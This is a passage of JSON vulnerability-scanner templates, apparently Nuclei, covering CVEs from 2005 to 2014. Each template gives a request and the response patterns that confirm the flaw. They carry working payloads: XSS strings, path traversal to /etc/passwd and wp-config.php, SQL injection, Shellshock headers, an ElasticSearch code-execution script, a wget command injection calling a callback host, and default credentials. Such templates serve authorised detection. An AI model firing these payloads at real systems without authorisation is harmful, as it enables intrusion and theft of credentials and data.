Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/s3-video/views/video-management/preview_video.php?media=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3C%22"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["<\""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2005-3344","info":{"name":"Horde Groupware Unauthenticated Admin Access","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/horde/admin/user.php","{{BaseURL}}/admin/user.php"],"headers":{"Content-Type":"text/html"},"matchers-condition":"and","matchers":[{"type":"word","words":["Horde :: User Administration"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2005-4385","info":{"name":"Cofax <=2.0RC3 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/search.htm?searchstring2=&searchstring=%27%3E%22%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["'>\""]},{"type":"status","status":[200]}]}]},{"id":"CVE-2005-3634","info":{"name":"SAP Web Application Server 6.x/7.0 - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/sap/bc/BSp/sap/menu/fameset.htm?sap--essioncmd=close&sapexiturl=https%3a%2f%2finteract.sh"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?:\\/\\/|\\/\\/|\\/\\\\\\\\|\\/\\\\)(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh\\/?(\\/|[^.].*)?$"]}]}]},{"id":"CVE-2005-2428","info":{"name":"Lotus Domino R5 and R6 WebMail - Information Disclosure","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/names.nsf/People?OpenView"],"matchers-condition":"and","matchers":[{"type":"regex","name":"domino-username","part":"body","regex":["("]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2008-6668","info":{"name":"nweb2fax <=0.2.7 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/comm.php?id=../../../../../../../../../../etc/passwd","{{BaseURL}}/viewrq.php?format=ps&var_filename=../../../../../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2008-5587","info":{"name":"phpPgAdmin <=4.2.1 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/phpPgAdmin/index.php?_language=../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:[x*]:0:0"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2008-6172","info":{"name":"Joomla! Component RWCards 3.0.11 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/components/com_rwcards/captcha/captcha_image.php?img=../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2008-1061","info":{"name":"WordPress Sniplets <=1.2.2 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/sniplets/view/sniplets/warning.php?text=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2008-6222","info":{"name":"Joomla! ProDesk 1.0/1.2 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_pro_desk&include_file=../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2008-6465","info":{"name":"Parallels H-Sphere 3.0.0 P9/3.1 P1 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/webshell4/login.php?errcode=0&login=\\%22%20onfocus=alert(document.domain);%20autofocus%20\\%22&err=U"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\\\" onfocus=alert(document.domain); autofocus","Please enter login name & password"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2008-6982","info":{"name":"Devalcms 1.4a - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?currentpath=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["sub menu for: "]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[500]}]}]},{"id":"CVE-2008-7269","info":{"name":"UC Gateway Investment SiteEngine v5.0 - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/api.php?action=logout&forward=http://interact.sh"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:http?://|//)(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh.*$"]}]}]},{"id":"CVE-2011-1669","info":{"name":"WP Custom Pages 0.5.0.1 - Local File Inclusion (LFI)","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/wp-custom-pages/wp-download.php?url=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2011-4926","info":{"name":"Adminimize 1.7.22 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/adminimize/adminimize_page.php?page=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2011-5179","info":{"name":"Skysa App Bar 1.04 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/skysa-official/skysa.php?submit=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2011-4618","info":{"name":"Advanced Text Widget < 2.0.2 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /wp-content/plugins/advanced-text-widget/readme.txt HTTP/1.1\nHost: {{Hostname}}\n","GET /wp-content/plugins/advanced-text-widget/advancedtext.php?page=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(header_2, \"text/html\")","contains(body_2, \"\")","contains(body_1, \"Advanced Text Widget\")"],"condition":"and"}]}]},{"id":"CVE-2011-3315","info":{"name":"Cisco CUCM, UCCX, and Unified IP-IVR- Directory Traversal","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/ccmivr/IVRGetAudioFile.do?file=../../../../../../../../../../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2011-5107","info":{"name":"Alert Before Your Post <= 0.1.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/alert-before-your-post/trunk/post_alert.php?name=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2011-5252","info":{"name":"Orchard 'ReturnUrl' Parameter URI - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/orchard/Users/Account/LogOff?ReturnUrl=%2f%2fhttp://interact.sh%3f"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:http?://|//)(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh.*$"]}]}]},{"id":"CVE-2011-5265","info":{"name":"Featurific For WordPress 1.6.2 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/featurific-for-wordpress/cached_image.php?snum=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2011-5106","info":{"name":"WordPress Plugin Flexible Custom Post Type < 0.1.7 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/flexible-custom-post-type/edit-post.php?id=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2011-4624","info":{"name":"GRAND FlAGallery 1.57 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/flash-album-gallery/facebook.php?i=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2011-4804","info":{"name":"Joomla! Component com_kp - 'Controller' Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_kp&controller=../../../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2011-2744","info":{"name":"Chyrp 2.x - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/?action=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2011-0049","info":{"name":"Majordomo2 - SMTP/HTTP Directory Traversal","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/cgi-bin/mj_wwwusr?passw=&list=GLOBAL&user=&func=help&extra=/../../../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2011-2780","info":{"name":"Chyrp 2.x - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/includes/lib/gz.php?file=/themes/../../../../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2011-5181","info":{"name":"ClickDesk Live Support Live Chat 2.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/clickdesk-live-support-chat/clickdesk.php?cdwidgetid=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2011-4336","info":{"name":"Tiki Wiki CMS Groupware 7.0 Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/snarf_ajax.php?url=1&ajax=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-5111","info":{"name":"Fonality trixbox - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/maint/modules/endpointcfg/endpointcfg.php?lang=../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-3206","info":{"name":"Seagate BlackArmor NAS - Command Injection","severity":"critical"},"requests":[{"raw":["GET /backupmgt/localJob.php?session=fail;wget http://{{interactsh-url}}; HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\n","GET /backupmgt/pre_connect_check.php?auth_name=fail;wget http://{{interactsh-url}}; HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\n"],"unsafe":true,"matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]}]}]},{"id":"CVE-2014-9607","info":{"name":"Netsweeper 4.0.4 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/remotereporter/load_logfiles.php?server=018192&url=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-9618","info":{"name":"Netsweeper - Authentication Bypass","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/webadmin/clientlogin/?srid=&action=showdeny&url="],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["name=formtag action=\"../clientlogin/?srid=&action=showdeny&url=\"","placeholder=\"Profile Manager\">","Netsweeper WebAdmin"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-9614","info":{"name":"Netsweeper 4.0.5 - Default Weak Account","severity":"critical"},"requests":[{"raw":["POST /webadmin/auth/verification.php HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{BaseURL}}\nReferer: {{BaseURL}}/webadmin/start/\n\nlogin=branding&password=branding&Submit=Login\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["Location: ../common/","Location: ../start/"],"condition":"or"},{"type":"word","part":"header","words":["Set-Cookie: webadminU="]},{"type":"status","status":[302]}]}]},{"id":"CVE-2014-8682","info":{"name":"Gogs (Go Git Service) - SQL Injection","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/api/v1/repos/search?q=%27)%09UNION%09SELECT%09*%09FROM%09(SELECT%09null)%09AS%09a1%09%09JOIN%09(SELECT%091)%09as%09u%09JOIN%09(SELECT%09user())%09AS%09b1%09JOIN%09(SELECT%09user())%09AS%09b2%09JOIN%09(SELECT%09null)%09as%09a3%09%09JOIN%09(SELECT%09null)%09as%09a4%09%09JOIN%09(SELECT%09null)%09as%09a5%09%09JOIN%09(SELECT%09null)%09as%09a6%09%09JOIN%09(SELECT%09null)%09as%09a7%09%09JOIN%09(SELECT%09null)%09as%09a8%09%09JOIN%09(SELECT%09null)%09as%09a9%09JOIN%09(SELECT%09null)%09as%09a10%09JOIN%09(SELECT%09null)%09as%09a11%09JOIN%09(SELECT%09null)%09as%09a12%09JOIN%09(SELECT%09null)%09as%09a13%09%09JOIN%09(SELECT%09null)%09as%09a14%09%09JOIN%09(SELECT%09null)%09as%09a15%09%09JOIN%09(SELECT%09null)%09as%09a16%09%09JOIN%09(SELECT%09null)%09as%09a17%09%09JOIN%09(SELECT%09null)%09as%09a18%09%09JOIN%09(SELECT%09null)%09as%09a19%09%09JOIN%09(SELECT%09null)%09as%09a20%09%09JOIN%09(SELECT%09null)%09as%09a21%09%09JOIN%09(SELECT%09null)%09as%09a22%09where%09(%27%25%27=%27"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"ok\":true","\"data\"","\"repolink\":\""],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-9444","info":{"name":"Frontend Uploader <= 0.9.2 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/?page_id=0&&errors[fu-disallowed-mime-type][0][name]=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-4561","info":{"name":"Ultimate Weather Plugin <= 1.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/ultimate-weather-plugin/magpierss/scripts/magpie_debug.php?url=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\">"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-3120","info":{"name":"ElasticSearch v1.1.1/1.2 RCE","severity":"medium"},"requests":[{"raw":["POST /_search?pretty HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\nAccept-Language: en\nContent-Type: application/x-www-form-urlencoded\n\n{\n \"size\": 1,\n \"query\": {\n \"filtered\": {\n \"query\": {\n \"match_all\": {\n }\n }\n }\n },\n \"script_fields\": {\n \"command\": {\n \"script\": \"import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\\\"cat /etc/passwd\\\").getInputStream()).useDelimiter(\\\"\\\\\\\\A\\\").next();\"\n }\n }\n}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["application/json"]},{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-9615","info":{"name":"Netsweeper 4.0.4 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/webadmin/deny/index.php?dpid=1&dpruleid=1&cat=1&ttl=5018400&groupname="]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-5368","info":{"name":"WordPress Plugin WP Content Source Control - Directory Traversal","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/wp-source-control/downloadfiles/download.php?path=../../../../wp-config.php"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["DB_NAME","DB_PASSWORD"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-3704","info":{"name":"Drupal SQL Injection","severity":"high"},"requests":[{"method":"POST","path":["{{BaseURL}}/?q=node&destination=node"],"body":"pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0x23,concat(1,md5({{num}})),1)%23]=bob&name[0]=a","matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["PDOException","{{md5({{num}})}}"],"condition":"and"},{"type":"status","status":[500]}]}]},{"id":"CVE-2014-4942","info":{"name":"WordPress EasyCart <2.0.6 - Information Disclosure","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/wp-easycart/inc/admin/phpinfo.php"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["PHP Extension","PHP Version"],"condition":"and"},{"type":"status","status":[200]}],"extractors":[{"type":"regex","group":1,"regex":[">PHP Version <\\/td>([0-9.]+)"],"part":"body"}]}]},{"id":"CVE-2014-9119","info":{"name":"WordPress DB Backup <=4.5 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/db-backup/download.php?file=../../../wp-config.php"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["DB_NAME","DB_PASSWORD"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-2962","info":{"name":"Belkin N150 Router 1.00.08/1.00.09 - Path Traversal","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/cgi-bin/webproc?getpage=/etc/passwd&var:page=deviceinfo"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-4550","info":{"name":"Shortcode Ninja <= 1.4 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/shortcode-ninja/preview-shortcode-external.php?shortcode=shortcode%27%3E%3Cscript%3Ealert%28document.domain%29%3C/script%3e"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["'>"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-4535","info":{"name":"Import Legacy Media <= 0.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/import-legacy-media/getid3/demos/demo.mimeonly.php?filename=filename%27%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["'>"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-4558","info":{"name":"WooCommerce Swipe <= 2.7.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/swipehq-payment-gateway-woocommerce/test-plugin.php?api_url=api_url%27%3E%3Cscript%3Ealert%28document.domain%29%3C/script%3E "],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["'>"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-9617","info":{"name":"Netsweeper 3.0.6 - Open Redirection","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/remotereporter/load_logfiles.php?server=127.0.0.1&url=https://interact.sh/"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?://|//)(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh.*$"]}]}]},{"id":"CVE-2014-9094","info":{"name":"WordPress DZS-VideoGallery Plugin Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/dzs-videogallery/deploy/designer/preview.php?swfloc=%22%3E%3Cscript%3Ealert(1)%3C/script%3E"],"matchers-condition":"and","matchers":[{"type":"word","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-4592","info":{"name":"WP Planet <= 0.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /wp-content/plugins//wp-planet/readme.txt HTTP/1.1\nHost: {{Hostname}}\n","GET /wp-content/plugins/wp-planet/rss.class/scripts/magpie_debug.php?url=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body_1","words":["WP Planet"]},{"type":"word","part":"body_2","words":[""]},{"type":"word","part":"header_2","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-6271","info":{"name":"ShellShock - Remote Code Execution","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}","{{BaseURL}}/cgi-bin/status","{{BaseURL}}/cgi-bin/stats","{{BaseURL}}/cgi-bin/test","{{BaseURL}}/cgi-bin/status/status.cgi","{{BaseURL}}/test.cgi","{{BaseURL}}/debug.cgi","{{BaseURL}}/cgi-bin/test-cgi"],"stop-at-first-match":true,"headers":{"Shellshock":"() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd ","Referer":"() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd ","Cookie":"() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd "},"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-4940","info":{"name":"WordPress Plugin Tera Charts - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/tera-charts/charts/zoomabletreemap.php?fn=../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-5258","info":{"name":"webEdition 6.3.8.0 - Directory Traversal","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/webEdition/showTempFile.php?file=../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-9608","info":{"name":"Netsweeper 4.0.3 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/webadmin/policy/group_table_ajax.php/%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["webadminU=","webadmin="],"condition":"or"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-2908","info":{"name":"Siemens SIMATIC S7-1200 CPU - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/Portal/Portal.mwsl?PriNav=Bgz&filtername=Name&filtervalue=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&Send=Filter"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-10037","info":{"name":"DomPHP 0.83 - Directory Traversal","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/photoalbum/index.php?urlancien=&url=../../../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-4513","info":{"name":"ActiveHelper LiveHelp Server 3.1.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/activehelper-livehelp/server/offline.php?MESSAGE=MESSAGE%3C%2Ftextarea%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&DOMAINID=DOMAINID&COMPLETE=COMPLETE&TITLE=TITLE&URL=URL&COMPANY=COMPANY&SERVER=SERVER&PHONE=PHONE&SECURITY=SECURITY&BCC=BCC&EMAIL=EMAIL%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&NAME=NAME%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-4210","info":{"name":"Oracle Weblogic - SSRF in SearchPublicRegistries.jsp","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://{{interactsh-url}}"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-4539","info":{"name":"Movies <= 0.6 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/movies/getid3/demos/demo.mimeonly.php?filename=filename%27%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["'>"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-2321","info":{"name":"ZTE Cable Modem Web Shell","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/web_shell_cmd.gch"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["please input shell command","ZTE Corporation. All rights reserved"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-4536","info":{"name":"Infusionsoft Gravity Forms Add-on < 1.5.7 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/infusionsoft/Infusionsoft/tests/notAuto_test_ContactService_pauseCampaign.php?go=go%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&contactId=contactId%27%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&campaignId=campaignId%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\">"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-2323","info":{"name":"Lighttpd 1.4.34 SQL Injection and Path Traversal","severity":"critical"},"requests":[{"raw":["GET /etc/passwd HTTP/1.1\nHost: [::1]' UNION SELECT '/\n\n"],"unsafe":true,"matchers":[{"type":"regex","regex":["root:[x*]:0:0:"]}]}]},{"id":"CVE-2014-6287","info":{"name":"HTTP File Server <2.3c - Remote Command Execution","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/?search==%00{.cookie|{{str1}}|value%3d{{str2}}.}"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["HFS /"]},{"type":"word","part":"header","words":["Set-Cookie: {{str1}}={{str2}};","text/html"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-6308","info":{"name":"Osclass Security Advisory 3.4.1 - Local File 